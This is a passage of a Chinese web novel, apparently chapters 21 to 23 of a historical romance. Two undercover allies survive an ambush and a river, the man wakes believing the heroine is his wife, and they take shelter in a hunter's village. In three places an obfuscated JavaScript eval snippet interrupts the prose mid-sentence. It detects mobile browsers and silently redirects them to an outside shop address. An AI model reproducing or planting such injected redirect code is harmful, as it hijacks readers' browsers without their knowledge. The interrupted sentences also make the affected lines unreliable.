当视线逐渐明亮起来的时候,箭矢和锣声忽然断了,取而代之的是一片打斗声。 “放心,是我的人。”萧韫道。 许妙仪这才终于松了口气。 两人走出黑雾,见又一群黑衣人正与剑玄楼的人缠斗。 一个黑衣人快步走到萧韫身前,急急道:“郎君,对方阴招不少,一时难以对付,快随属下先离开!” 萧许两人连身上的箭都顾不得拔,赶忙由另外几个侍卫护送着离开。 但很快,剑玄楼的人便追了上来。 侍卫喊道:“郎君,你们先走!我们殿后!” 萧韫没有犹豫,当即应下。他和许妙仪互相搀扶,一路踉踉跄跄地前行。 打斗声被甩在身后,逐渐听不见了。他们最终在河边停下步子,靠坐在一株树下,咬牙去拔陷在血肉里的短箭。 许妙仪随身携带有金创药,用过后便将其递给萧韫。萧韫早就嗅到了味道,也没多问,径直接过。 许妙仪又撕下衣角给自己手臂、大腿上的伤口进行简单的包扎,随后从袖中掏出几个小瓷瓶,倒出丹药,分了一半给萧韫,言简意赅道:“有用的。” 萧韫接了药,有气无力地笑道:“许兄还真是未雨绸缪……” “都这时候了,你还有心思说笑呢。”许妙仪嗤笑道。 萧韫又低低笑了一声。 两人处理好伤口,还没休息多久,便忽听得周遭隐隐有人声响起。 许妙仪心弦再度紧绷,连忙环顾四周,见没有可藏身的地方,便提议道:“我们去水下躲躲吧。” 萧韫犹豫了一下,终究还是同意了,和许妙仪一同跳了进去。 刚一入水,他们便被出奇强势的水流冲得失去了平衡,下意识地握住了对方的手。 他们体力已然不够,几乎无法抵御,只能随波逐流。 在冰冷刺骨的漆黑中浮沉了好一阵,许妙仪倏然被萧韫用力拉了一下,不受控制地朝他靠近。 她还没反应过来,便有一双手捧住了她的脸。 21.失忆 紧接着,许妙仪感觉到有两片柔软的东西贴上了她的唇,轻柔辗转。她愣了一下,随即猛然意识到,那是萧韫的唇——他,在亲她!!! 她大惊失色,当即就想要偏过头去。 然而萧韫双手却桎梏得紧,叫她的脑袋不得动弹分毫。 与此同时,他的亲吻加大了力道,竟是直接将她的双唇撬开了。 她忽然明白了他的意图,不由得暗骂:真是多此一举!她还有气儿呢,根本不需要他渡气! 然而令她意外的是,她非但没有感觉到气息注入,反而感觉到口中空气逐渐减少了。 许妙仪:“……” 原来是他快没气儿了。 好阴险狡诈的男人!!! 她就知道他不会那么好心!!! 许妙仪气恼不已,铆足了劲儿,提脚去踹萧韫的下腹。 谁知下一刻,她的唇上传来一阵刺痛。 她还没太反应过来,萧韫就撤了嘴,双手也从她头上离开,重新去握她的手。 后知后觉地,许妙仪想明白刚刚是萧韫在咬自己。出于报复心理,她恨恨在萧韫的手背上掐了几下。 但萧韫却将手握得更紧了。 又飘荡了好一阵,水流才渐渐缓了下来。两人终于得以爬上岸,不约而同地直接趴地上不动了。 许妙仪浑身僵冷,几乎没有知觉了,头脑更是隐隐发晕。她好想就这么睡过去,但理智还是支撑着她坐起身来,观察四周环境。 但见朦胧月色下,周遭除了山石就是草木,没有半点人烟,俨然一片荒郊野岭。 看来这次运气不大好。 许妙仪叹了口气,伸手拍了拍尚趴着的萧韫:“起来,我们得找东西来生火。” 她声音虚弱无力,微微打着颤儿。 说着,她翻找出丹药,自己吃了一半,剩下一半打算分给萧韫。然而她等了好半晌,竟未见萧韫有半点动静。 许妙仪意识到一丝不对劲。但她转念一想:萧韫的体质可比她强太多了,她都还没倒下,他怎么可能就不行了? 思及此处,她用力推搡了萧韫几下:“喂!快起来!” 仍然没有回应。 许妙仪心中不祥的预感越来越强,连忙将萧韫翻了个身。 借着月光,但见萧韫满脸血污! 许妙仪的心头猛然一跳,不禁倒吸一口凉气。 她承认,有那么一刻,她的心慌乱了。 她……不希望他就此死了。 再定睛一看,那一条条蜿蜒在萧韫面上的血蛇都源于额角的一个小洞,大概是在河里触到了礁石所成。 许妙仪做了几个深呼吸,伸手往萧韫鼻下探去。随着忐忑跳动的心,她的手指不受控制地微微发颤。 直到感受到那微弱但温热的气息,她才终于松了一口气,同时不自觉露出一个松快的笑。 果然,“祸害遗千年”。 许妙仪撕下一块衣角,努力将其拧得半干。接着,她小心翼翼地将他的头放在自己腿上,为他拭去面上的血污,处理伤口。 简单地给萧韫包扎完毕,许妙仪便动身去寻枯枝生火。 她没敢走远,好在秋季的山野,向来盛产枯枝落叶,没多久她便满载而归。 随身的火折子泡了水,早就没用了,只能采用最原始的钻木取火法。但她经验丰富,没多久就有火焰拔地而起,驱散了秋夜的阴冷。 许妙仪把萧韫挪到火堆旁,心想,她真是心地善良,等他醒过来,她一定要好好嘲讽他一顿,再要拿这次救命恩情抵了他此前所有的人情…… 风声萧萧,火光跃跃,湿衣氤氲出朦胧的水雾。 许妙仪撑着脸,百无聊赖,目光最终落在了萧韫身上。 此时他面色苍白,竟生出几分别样的美感,像是易碎的琉璃灯盏…… 许妙仪忽然发现,她好像没那么讨厌萧韫。 他们之间的误会算是已经解开,所以平心而论,他并没有任何让她厌恶的原则性问题,只是时常嘴贱罢了。 她不讨厌他,并且,她对他似乎还有种……特殊的感情。 从她来到这个时代开始,萧韫是与她羁绊最深的人。 亦敌亦友。 是个……特别的存在。 …… 许妙仪头一次觉得,一个夜晚居然能如此漫长难耐。 她的体质本不算好,又受了伤,泡了冷水,更是虚弱到不行。但毕竟身在郊野,为了保障安全,她始终不敢入睡。 到了天色蒙亮之际,她实在撑不住了,便眯了一小会儿。 迷迷糊糊之中,她看见萧韫坐起身来,笑着揶揄道:“许兄竟这样担心某?可惜,某还年轻,暂时不考虑成亲。” 这话把她直接气醒了。 这时已是天光大亮,但转头一看,萧韫却仍是双眼紧闭。 许妙仪有些医学常识,知道重伤者昏睡得越久,危险也就越高。 “你可别给你们祸害一族丢脸……”许妙仪心中忧虑更甚,忍不住喃喃出声,“如果你真死了,我只能先把你埋在这儿了。你上次不是说你是时之英者吗?哪有英者是被弃尸荒野的啊……” 自言自语地说了一阵,没得到任何回应。许妙仪低叹一声,开始给自己换药。 替萧韫也换过药后,许妙仪又觉一阵困意上涌,正准备再小憩一会儿,却忽然瞥见萧韫的眼睫微微颤动了几下。 人对突如其来的事物的接受总是会有迟钝,许妙仪有些不敢置信,整个人都定住了,屏息敛声盯着萧韫。 很快,萧韫缓缓睁开了双眼。 许妙仪大喜过望,不由自主地就扑到了他身边,叫了出来:“你终于醒了!” 萧韫眼珠微微一转,目光落到许妙仪脸上。 但见他漆黑的眸中盛满了迷茫,看得许妙仪不禁滞了一下——平日里,他眼中不是戏谑就是算计,这种迷茫倒实在少见。 许妙仪脑海中猛然跳出一个念头:他不会是撞傻了吧? 萧韫盯着许妙仪看了半晌,眼中情绪逐渐由迷茫转为复杂。 许妙仪正想说些什么,不料他启唇说出了一句惊天动地的话—— “夫人……” 许妙仪简直怀疑自己的耳朵:“你叫我什么?!” 萧韫墨眉微蹙,眸中情绪却是温和的。他又重复了一遍:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093039|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人。” 许妙仪张目结舌,一时间说不出话来。 萧韫这厮居然真的……把脑子摔坏了?摔坏了也就算了,为什么会把她认成他夫人啊?! 这太荒谬了! 许妙仪努力打起精神,平复下心情,循循善诱道:“你现在有没有感觉脑子很疼?” 萧韫点了点头。 “头疼就对了,你撞着脑子了,记忆出了问题。所以你记错了,我不是你夫人。” 萧韫若有所思:“可我记得,我们在一个很黑的地方亲吻。如果不是夫妻,为何会亲吻呢?” 许妙仪:“……” 萧韫想了想,又补充道:“我还记得,在一个雨夜,你伏在我的膝头,我哄你睡觉。如果你不是我的夫人,我为何要这么做呢?” 许妙仪闻言,大为震惊:“你抱着我?还哄我睡觉?什么时候的事?” 萧韫摇了摇头:“我不知道,我脑海中只有几个朦胧的画面……” 许妙仪脑子转得很慢,一时也没想清楚。 “总之,你肯定是我夫人。”萧韫下了结论,语气颇为坚定。 许妙仪:“……” 他如今这样,还不如死了呢。 她本想再争辩几句,但身体实在是快撑不住了。萧韫又这么执着,恐怕一时半会儿难和他说清楚。她索性敷衍道:“好好好,我是你夫人。我守了你一夜了,现在很累,要休息一会儿,换你守着我了。” 萧韫愣了一下,随后犹疑着开口问道:“我……该怎么守着夫人?” 许妙仪扯了扯嘴角:“……你坐在旁边就行了。” 萧韫应道:“好,那夫人放心睡吧,我一定会守好夫人的。” 许妙仪想了想,毫不客气地吩咐道:“对了,你顺便去附近摘点果子,去河里捞两条鱼,我醒来要吃。” 萧韫颔首:“好。” “还挺听话。”许妙仪心想。 顿了顿,她又把身上的药都找了出来,道:“这些药你需要就用,但要给我留点儿。” “好。” 许妙仪没再说什么,起身准备在附近找块大石头。 萧韫犹豫了一下,起身跟上许妙仪,亦步亦趋。 许妙仪懒得说他,径直在一块巨石前靠坐了下来。一闭上眼睛,睡意便汹涌袭来,拉着她坠入黑暗。 萧韫在许妙仪身旁坐下,仔细打量着她。 她面上的胎记早已被水冲掉,山根处的伤疤也很淡了,五官之明丽显露无疑。但此时她面色苍白,便中和出了清冷的美感。 萧韫想,他的夫人很好看。 接着他又想到,自他醒来,夫人看他的眼神和说话语气都是带有怨气的,甚至还不肯承认她是他的夫人,莫非是……生他的气了? * 许妙仪是被食物的香气勾醒的。 她食指大动,惺忪睁开眼,一下子就看见了萧韫的脸。 他正低垂着头,从这个角度看去,更显他睫毛纤长,鼻梁挺立…… 倏地,许妙仪感觉自己腰侧的衣服正被什么东西扯动着。 她垂眸一瞧,见一双修长的手正在解她腰间的系带! 22.烦闷 许妙仪心头大惊,下意识地就扇了萧韫一巴掌,口中喊道:“你干什么?!” 这是极其清脆响亮的一巴掌,萧韫被扇得偏了头,眼神错愕。 许妙仪连忙起身与萧韫拉开距离,一边系系带,一边警惕地盯着萧韫。 萧韫愣愣地伸手摸了摸脸颊,竟莫名勾了一下唇角。接着他起身看向许妙仪,眼中盛着无奈的笑意,道:“某只是看夫人腰上有伤,便想着帮夫人上点药,夫人这么激动做什么?” 许妙仪低头一看,自己腰间的月白衣裳上果然洇着一片血痕,格外显眼,许是昨夜在河中刮伤的。她太过疲累,居然都没注意到。 她又看了一眼萧韫面上的五指红痕,不禁心生愧疚,语气也弱了下来:“对不起啊,我还以为……” “夫人以为某想做什么呢?”萧韫抱着手,一脸戏谑地接过话头。 许妙仪被戳穿了,面上不禁浮起淡淡的绯色。但她仍嘴硬道:“你说什么呢,我听不懂,我只是被吓到了。” 萧韫“哦”了一声,尾音拖得老长。 还是那股子熟悉的、贱兮兮的劲儿。 许妙仪有些恼怒,却又碍于误打了萧韫的羞愧之心,不好发作。她深吸几口气,努力平复下心情,转移话题:“你把金创药给我,然后转过身去,我自己上药。” “夫人自己来恐怕不太方便吧?”萧韫挑眉,“还是我帮夫人吧。” 许妙仪露出一个礼貌的微笑:“谢谢你的好意,但是不用了。” “夫人这么害羞做什么?”萧韫似笑非笑,“我们是夫妻,理应是最亲密的人。” 许妙仪:“……” 她现在很后悔当初做的那个决定。 这时,她余光忽然瞥见萧韫提步朝她走来,于是赶忙退开一步,抬手道:“你听我说,我真的不是你夫人。先前承认只是因为我太累了,暂时不想和你争。” “夫人别说气话了。”萧韫笑意不减。 许妙仪不明白他是怎么得出这个结论的,只觉得匪夷所思:“不是气话,我是认真的!” “那某记忆中的亲吻该如何解释?”萧韫还是不信。 许妙仪冷笑一声,道:“你还好意思提,那时候是在水下,你亲我只是为了偷我的气儿!” 萧韫眸中划过一抹意外,蹙眉思索半晌,最终道:“不可能,某是个有节操的人。” 许妙仪气极反笑,几乎有拔剑砍人的冲动了。 萧韫见势不好,这才终于妥协:“那好吧,夫人自己来吧。”说着,他递出金创药瓶。 许妙仪一把接过,又恶狠狠地瞪了萧韫一眼,没好气儿道:“转过去,不许看!” “好好好,夫人别气。”萧韫一脸无奈地转过身去。 许妙仪上完药,也没招呼萧韫,径直走到火堆边坐下。 火堆边立着一个树枝搭成的架子,架子上串着两条巴掌大小的鱼。鱼皮酥脆,身上裂着几条口子,翻出鲜嫩的白肉,香气四溢。 许妙仪饿得前胸贴后背,当即就要伸手去拿串鱼的树枝,不料有一双手比她动作更快。 她蹙起眉头,不悦地往身旁看去。 “来,夫人。”萧韫笑着把烤鱼递给许妙仪,同时还温柔地嘱咐道,“小心刺。” 许妙仪不太习惯他这般柔情,伸手的动作很僵硬,语气也不太自然:“多谢。” 她咬了一口烤鱼,当即双眼一亮。这鱼肉不光鲜嫩,刺还少,虽然味道寡淡了些,但此时也称得上是佳肴了。 啃了半条鱼,许妙仪忽然发现萧韫并没有在吃东西,就在一旁默默看着她,目光含着淡淡的笑意。 她不解地看向萧韫,问:“你不吃吗?” “我已经吃过了,夫人不用担心我。” “谁担心你了?”许妙仪冷哼一声,快速挪回目光。 萧韫眼中笑意更深。 许妙仪想了想,又对萧韫道:“以后不许随便对我动手动脚,也不许叫我夫人。”她声音很沉,带着明显的警告之意。 萧韫低叹一声,语气有些失落:“好吧,夫人。” 许妙仪:“……” 她怀疑萧韫是故意和她对着干。 罢了,不跟撞了头的傻子计较。许妙仪在心里如是安慰自己,继续去啃烤鱼。 填饱了肚子,许妙仪的心情好了不少,也想起了正事。她问萧韫:“你现在还记得些什么?” 萧韫苦笑道:“只记得夫人了。” “连你自个儿的名字也不记得了?”许妙仪颇感意外。 萧韫颔首。 许妙仪唏嘘不已,决定发发好心:“你呢,是朝廷派下来的监察御史,叫萧韫。我们在一个人贩子窝里面当卧底,为了救那些奴隶,我们出去寻药,不曾想为奸人所害,这才流落至此。” 说到此处,她不由得叹了口气。真是太倒霉了,被人害得流落至此不说,盟友还成了这幅傻样。 好在,飞夏草没丢,还揣在她身上。她得赶紧回到镖局,赶在七天流程结束之前下手。 今天已经是第二天了。 随后,她抬头看了看天色。此时阳光微斜,大约是未时左右。 她正要站起身来,萧韫开口问道:“那夫人叫什么?” “首先,我不是你夫人;其次,我叫许双。”许妙仪郑重道。 “霜雪的霜?” “单双的双。” “既然你不让我叫你夫人,那我就叫你阿双吧。” “随便你。”许妙仪淡淡说着,站起身来,“我们赶路吧,争取在日落前出了这片林子。” * 阳泉,明远镖局,蓝钰私院的正堂。 蓝钰擦拭剑器的动作一顿,拧眉看向垂头立在堂下的庆三,沉声道:“居然还没有找到?” “是。”庆三将头埋得更低。 蓝钰微微眯眼,若有所思。 庆三犹豫着问:“可要扩大搜寻范围?” “罢了,左右也不过是两个喽啰,丢了就丢了吧。” “是。”庆三应道,“对了,郎君,还有一事——剑玄楼的薛丹来咱们阳泉了。” 闻言,蓝钰面色更沉了:“薛丹?他来做什么?” 薛丹是剑玄楼少主陈鸣最信赖的副手之一,而陈鸣又与她那个兄长蓝熠交好。如今薛丹偷偷摸摸来她的地盘,必定是没安好心。 “似乎是来采购药物的。据说他在黑市为了一株飞夏草,与人争起来了。结果没争过,便叫手下把那两人打了,不知死了没有。” “飞夏草?”蓝钰蹙眉,“去打听打听这药的具体功效。我倒要看看,他们到底是何居心。” “是。” 这时,一个女侍急匆匆地走了进来,半跪在蓝钰跟前,双手奉上一封信,道:“郎君,堂主的信。” 蓝钰展信一看,冷笑一声,咬牙切齿道:“那该死的老东西,竟愈发得寸进尺了。每年上贡给他十万两金还嫌不够,居然还要加二万两!” 气氛压抑到了极点,堂下两人大气不敢出。 半晌,蓝钰叹了一口气,道:“庆三,去吩咐各地的猎手,趁着年关将近,多抓些人。” “是。” * 许妙仪和萧韫一前一后地在林中穿梭。 虽是深秋,但这片林中生有不少常绿树木,故而有些路很是难行。 但幸运的是,他们发现了一些人迹,证明附近有人群聚居地,这支撑着他们前行不辍。 倏地,许妙仪敏锐察觉到远处有箭矢的破空声响起,连忙扭头一看,只见一点寒光直冲她面门而来。 她正准备下腰闪躲,耳边却倏然响起一句急切的“阿双小心”。紧接着,她的胳膊被人大力拉了一下。她被迫后退一步,不料踩着了一块生有青苔的石头,脚下打滑,直直往一旁倾去。 惊慌之中,她反手抓住了萧韫的手。 萧韫猝不及防,被这股力拽得上前半步,竟也踩着了那青苔,失衡向许妙仪扑来。 “砰”的一声闷响,许妙仪摔倒在地,后背被碎枝、石子硌得生疼。还没等她喘口气,又一个重物压了上来,她顿时只觉浑身骨头都要碎了。 萧韫连忙起身,伸手来扶许妙仪,满脸愧疚:“阿双没事吧?” 许妙仪瞪着萧韫,龇牙咧嘴道:“要是没有你……我根本不会有事!”她气息虽虚弱,却蕴藏着无尽的愤愤之意。 她被扶着坐了起来,待要站起身,却觉左脚脚踝生疼。 萧韫敏锐地捕捉到了她的情绪,忙问:“可是扭着了?” 许妙仪气呼呼地瞪了萧韫一眼:“都怪你!” “是,怪我。”萧韫目露怜惜,“待会儿……我背你吧?” 许妙仪心想:反正是他造的,他就该负责。于是她毫不客气地应道:“好啊。” “先起来吧。”萧韫搀扶着许妙仪缓缓站起来,同时将她往自己身上揽。 许妙仪警觉道:“又想干什么?” “我怕夫人站不稳。”萧韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120803|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释。 许妙仪哼了一声,道:“那倒不用你操心。”说着,她推开萧韫,做了一个金鸡独立的姿势,甚至还张开双手。 萧韫对上她颇为得意的目光,不由轻笑出声。 他的夫人好厉害。 “哎哟,怎么好像有人在说话呢?”隐隐有人声响起。 循声看去,只见高大的灌木后走出了一高一矮两个中年男人。他们衣着朴素,肩上挎着土弓,大约是猎户。 他们见了狼狈的萧许二人,又见他们身旁的树干上插着一枚箭矢,心下顿时就明白了大概,连忙小跑过来。高个子赔笑道:“二位可有大碍?实在不好意思啊,怪我们兄弟鲁莽,没看清就拉弓。” “没关系的,毕竟二位也是无心之举。”萧韫微笑道,“敢问这附近可是有村落?要如何走?” 矮个子道:“正好我们准备回家,不如你们跟我们一起走吧?” 萧韫感激道:“那就多谢了,不知二位怎么称呼?” 矮个子道:“我叫郑牛,这是我弟弟郑马。” “牛兄,马兄。”萧韫拱手招呼,许妙仪也没落下。 萧韫背对着许妙仪弯下腰,许妙仪慢悠悠地伏了上去,伸手环住了萧韫的脖颈。熟悉的草木香淡淡萦绕而来,随后她感觉到萧韫的手握住了她的膝弯。 那双手炽热,很有力量,叫她心中莫名升起一丝异样的感觉。 无独有偶,当萧韫感觉到一片柔软压在自己背上时,心脏瞬间收紧,浑身不自觉地僵了一下。 这难道就是心动的感觉吗?看来她果然是他的夫人。 萧韫如是想着,直起了身子。 猎户兄弟走在前头,萧韫背着许妙仪走在后面。 郑牛问:“你们是夫妻吧?” 许妙仪本想说“不是”,萧韫却先一步开口了:“是,大哥眼光真好。” “哎哟,我就说,你们看着就般配,简直天生一对!” 许妙仪很是无语,但也不好再拆台了,于是故意收紧双臂。 萧韫呼吸不畅,无奈道:“阿双别闹。” “谁跟你闹了?我恨不得现在就掐死你。”许妙仪伏在萧韫耳边,没好气儿道。 温热而轻柔的气流拂在萧韫耳上,带起微微的痒感,进而又像电流一般,窜入他的四肢百骸。他滞了一下,随即轻笑道:“现在别,我死了,你怎么回去呀?” 许妙仪冷哼一声,道:“算你暂且有些用处。” “你们的口音不像本地人啊,怎么会出现在这儿啊?”郑牛又问。 萧韫道:“我们本是商队的护卫,因船行时出了意外,不小心掉进河里,这才被冲到这儿了。” 许妙仪又凑到萧韫耳边,轻声道:“看来你脑子还没完全摔坏嘛。” 不料,萧韫竟把头向旁边一偏。 许妙仪不解,又贴了过去,问:“你干嘛?” “阿双,你说话别贴我的耳朵太近……痒……” “痒?”许妙仪听了这话,心中忽然生出恶趣味。她双手用力揽住萧韫的脸,对着他的耳朵吹气。 萧韫浑身紧绷,双手下意识地一缩,竟是在无意中掐了许妙仪的大腿。 许妙仪双眼瞪大,不可置信道:“你……你掐我大腿?” 萧韫轻轻“啊”了一声,道:“有吗?” 许妙仪却不听他解释,伸手狠狠掐了一下萧韫的脸。 萧韫轻“嘶”一声,竟是莫名笑了出来。 猎户兄弟并没有发现萧许二人的异常,郑马自顾自说着:“原来如此,顾不得看你们配着剑呢。” 郑牛又道:“两位不如去我们家歇歇脚?权当我们害得这位娘子伤了脚的赔偿。” “多谢大哥。不过你们放心,我们也不白住,会给钱的。” “不用不用……” 推辞推辞着,地形逐渐开阔了起来,错落分布在山间的屋舍群映入眼帘。 猎户带萧许两人到了自家院子,还没进门,便有一个妇人出来迎接。 郑牛将来龙去脉说了一遍,妇人便对萧许两人笑道:“二位,我们家一共只有四间房,却有六口人呢,最多只能给你们腾一间。不过你们是夫妻,应该也不要紧吧?” “当然没关系,”许妙仪道,“不过可否能多一床被褥?我睡觉爱抢被子,怕我夫君着凉。” 妇人面露难色:“这……我们家没有多余的厚被褥……” 许妙仪愣住了。这岂不是说,她和萧韫要同床共枕?! 23.借宿 她心中有千般万般不愿,但此时毕竟是她有求于人,怎好强求?看来今夜只能委屈一下自己了。 思及此处,许妙仪扬起一个微笑,道:“没有也没关系的,我就是随口问问。” “那行,”妇人笑着说罢,忽而顿了一下,犹豫着问,“你们这……伤要紧吗?” “哎哟!”郑牛一拍脑袋,对萧许两人道,“我这记性,都忘记你们身上还有伤了!” 说着,他把手中的野兔递给妇人,又道:“我先带你们去村里的李郎中那儿看看,李郎中的医术可高超了!” “是啊。”妇人接过话,“反正家里的饭还没做好,恰好够你们来回一趟呢。” “那就有劳牛兄了。”萧韫笑道。 郑牛领着萧许两人一路向西,来到一处围着篱笆的竹屋。人还未走近,就已经隐隐闻到了药味儿。 三人穿过竹门入内,恰见一个男子从竹屋出来,手上还拎着个药包。 郑牛热情地招呼道:“赵兄!” 那“赵兄”见了郑牛,霎时眉开眼笑,快步迎了上来。 郑牛抽空道:“二位,我和兄弟聊聊天,你们自己进去吧。待会儿我就在外头等你们。” 萧许两人应下,径自往屋中走去。 一进屋,他们一眼就看见了那坐在案后的老者。他发须皆白,望过来的一双眼睛却格外有神,询问的声音也是中气十足:“你们谁先来?” 萧韫对许妙仪道:“阿双,你先吧。” 许妙仪也不跟他客气,淡淡“嗯”了一声。 萧韫小心翼翼地把许妙仪放在椅子上,自己则站在她身后。 李郎中检查了许妙仪的脚踝,为她接好了错位的脚踝骨。 许妙仪试着落地,惊喜地发现自己竟然已经能走了,不禁赞叹连连。 李郎中又看向萧韫:“这位郎君是什么问题?” “他撞了头,失忆了。”许妙仪下意识地抢答。 萧韫怔了怔,随即眸中泛起笑意。他看了许妙仪一眼,轻声附和道:“嗯,失忆了。” 李郎中检查了萧韫头上的伤口,又给他把了把脉,最终断言道:“你这是颅内淤血造成的失忆,不算严重,可以好的。” 听到这句话,许妙仪终于松了一口气。 “我为这位郎君扎扎针吧。”李郎中说着,吩咐候在一旁的药童去取针。 银针很快取来,李郎中捻起一根银针,缓缓刺入萧韫头顶。 那针比寻常的绣花针粗了好几倍,看得许妙仪有些胆寒,不自觉屏息敛声。 没多久,萧韫便顶了一脑门的银针。 这画面惊悚,却又莫名有些滑稽。 小半个时辰后,李郎中取下银针。 许妙仪连忙凑到萧韫身边,问:“感觉如何?有没有想起来什么?” 萧韫睁眼。直直盯着许妙仪,眸色漆黑深邃,不可捉摸。他薄唇轻启,吐出一个字:“有。” 许妙仪双眼一亮,追问道:“想起什么了?” 萧韫神情忽而一变,一双凤眸微弯,揶揄道:“想起来你是我的夫人。” 许妙仪:“……” 一旁的李郎中笑道:“哪有这么快见效啊?不用急,只要按时用药,总会好的。有条件的话,多泡一泡热水澡,有助于淤血扩散。” 许妙仪道谢,又请李郎中帮忙验了身上的外伤,开了些药,这才付钱离开。 竹屋外,郑牛和那“赵兄”竟还在交谈,兴致勃勃。 见萧韫和许妙仪出来了,郑牛这才恋恋不舍地与朋友道别。 一行人回到郑家,熟悉的妇人又迎了出来,笑道:“老人孩子饿不得,先吃过了。老二媳妇哄孩子去了,我留了几个菜,和老二等着呢。” 许妙仪笑道:“多谢大姐,大姐怎么称呼?” “你就叫我王姐吧。”妇人道。 说话间,几人已经进到堂屋。郑马也起身相迎:“来,快坐。” 众人客气着入座,郑牛扫视一圈,问:“怎么不见嫣儿?” 王氏神情一僵,随即闷声答道:“在房里赌气呢。” 郑牛叹了口气,放下筷子:“我去看看她。” “哎,大家快吃,不然菜都要凉了。”郑马转移了话题。 许妙仪夹了一筷子青菜送入口中,笑着夸赞道:“王姐手艺真好。” “哪有哪有……” 见气氛逐渐活跃了起来,许妙仪便打听道:“请问这儿到阳泉远吗?要怎么过去呢?” “不远不远,我们这儿每天都有专门拉客去阳泉的牛车,一个时辰就能到了。” 这时,隐隐有争吵声传来。 许妙仪和萧韫不约而同地默默装起了傻。 但那争吵声愈演愈烈,甚至还夹杂着摔东西的声响。 王氏再坐不下去了,起身道:“我去看看。” 为了缓解尴尬,许妙仪又开始寻找话题:“这些菜油水都挺足的,看来现在的日子,真是比以前好多了。” 郑马当即接话道:“是啊,比起十几年前,那可好太多了!当今天子一上位,就给我们减免了不少赋税,饥年还有补贴可以领呢。如今我们这个小山村虽算不上富裕,但也不会再挨饿了。” 许妙仪颔首:“那确实是一位不错的君主。” “是啊,不过若是能整整那些贪官污吏就更好了——我们去年的补贴,就被他们吞了不少。话说朝廷不是派了个什么监察御史,说的好听,什么监察百官,整顿吏治了,怎么感觉啥用都没有啊……” 许妙仪幸灾乐祸地看了“啥用都没有”的监察御史本人一眼。 但萧韫神情却颇为自然。 许妙仪想,这或许就是失忆的好处吧,对自己身份的认同感不强,自然也不会在乎别人对“自己”的评价。 她垂眸笑道:“是啊,那监察御史可真是讨厌。” 萧韫这才抬眼看向许妙仪,眉尾轻挑,眸色戏谑。 许妙仪读不懂他的意思,但也知道那必定不是什么好句,索性无视了他。 …… 吃过饭,郑马带萧许两人去了房间,又给他们找了两套干净的衣服。 两人先后换好衣服,又去后院洗漱。 许妙仪洗漱得格外慢,因为她不愿意面对和萧韫同床共枕的事实。 终于,一旁的萧韫忍不住提醒她:“阿双,你洗脸都洗了九遍了。” 许妙仪叹了口气,认命般地回了房。 回到房中,她便抽出长剑,放在床榻中间,郑重道:“这是楚河汉界,我们谁都不能越过去。” 萧韫挑眉笑道:“阿双这可就是错过良机了。” 许妙仪:“……” 熄了灯,两人和衣躺上床。 黑暗中,彼此的呼吸声清晰可闻。 许妙仪躺得直挺挺的,浑身紧绷。她很想睡觉,但却总被那股若有若无的草木香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128926|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阻挠。 “夫人……”萧韫忽然开口。 许妙仪立马打断:“睡觉,不许说话!” 萧韫默了半晌,又道:“我刚刚想起了一些东西。” 许妙仪冷冷瞥了萧韫一眼,警告道:“你若再说些不正经的玩笑话,我就对你不客气。” “这次是真的。”萧韫语气颇为郑重。 许妙仪问:“想起什么了?” “我想起来,我的‘韫’字,是‘石韫玉而山晖’的‘韫’。父亲为我取这个名字,是希望我内敛含蓄。” “那你父亲的希望恐怕是要落空了。”许妙仪哂道。 萧韫轻笑一声,继续说着:“我还想起来了很多很多,以前的事情。我父亲当年是雍州都督,是当时的梁国公,也就是当今陛下的妹丈。厉帝不仁,父亲便跟着梁国公揭竿而起。后来大梁建国,我父亲以从龙之功被封平阳侯。” “在战争中,我的兄长死了,父亲便把家族的希望全盘寄托到了我身上。他说,我要对得起陛下的重视,要对得起兄长用命换来的荣耀,更要对得起天下百姓的供养……” “为了对得起他们,你很累很累,甚至想逃离。”许妙仪很自然地接过话,“可是你也明白,在其位谋其职,你是未来的平阳侯,国之栋梁,你决不应该退缩。这种矛盾让你很痛苦。” 萧韫愣了一下,眸中波澜乍起,扭头看向许妙仪。 朦胧月光下,许妙仪侧面轮廓优美。 许妙仪犹豫了一下,还是说了出来:“我明白你的痛苦,是因为我曾经也这样困扰过。” 从她记事起,长辈们就教育她,要心怀天下。同龄的大多女孩儿都还在无忧无虑地玩耍,她却已经要每日练武,一双手被磨起过无数水泡。 她讨厌这种日子,但从小受到的教育已经在她脑中根深蒂固,它不允许她这样做。 直到十五岁那年,她随父亲自北漠凯旋,百姓们箪食壶浆相迎。 看着那一张张或乐不可支或痛哭流涕的脸,一种巨大的成就感在她心中生发。所谓家国天下,终于在她心中有了实感,她终于明白了她努力习武的意义。 所以此后,哪怕九死一生,她再也没有退缩过半步。 …… 